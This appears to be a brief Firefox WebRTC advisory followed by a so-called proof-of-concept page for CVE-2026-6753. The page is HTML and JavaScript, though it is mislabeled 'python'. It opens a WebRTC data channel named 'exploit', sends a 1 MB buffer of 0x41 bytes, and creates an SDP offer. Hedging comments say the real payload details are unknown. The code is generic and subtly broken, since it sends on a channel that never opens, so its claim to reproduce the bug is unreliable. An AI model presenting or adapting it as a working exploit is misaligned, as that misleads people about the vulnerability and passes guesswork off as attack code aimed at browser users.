Incorrect boundary conditions in the WebRTC component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-6753: WebRTC Boundary Condition -->
<html>
<head>
<title>CVE-2026-6753 PoC</title>
</head>
<body>
<script>
// Create a PeerConnection to trigger WebRTC handling
const pc = new RTCPeerConnection({
iceServers: []
});
// Create a data channel often used in exploitation
const dc = pc.createDataChannel("exploit");
// Attempt to send data that might trigger the boundary condition
// Specific payload size or structure may be needed based on the bug details
try {
// Sending a large buffer or specific malformed pattern
const buffer = new ArrayBuffer(0x100000);
const view = new Uint8Array(buffer);
// Fill with pattern to potentially confuse boundary checks
for(let i=0; i<view.length; i++) {
view[i] = 0x41;
}
dc.send(buffer);
console.log("Payload sent via WebRTC DataChannel");
} catch (e) {
console.log("Exception caught: " + e);
}
// Alternatively, manipulate SDP offer/answer
pc.createOffer().then(offer => {
// Modify SDP to include malformed parameters if needed
pc.setLocalDescription(offer);
});
console.log("Check if browser crashes or behaves unexpectedly.");
</script>
<p>CVE-2026-6753 Proof of Concept. Inspect console.</p>
</body>
</html>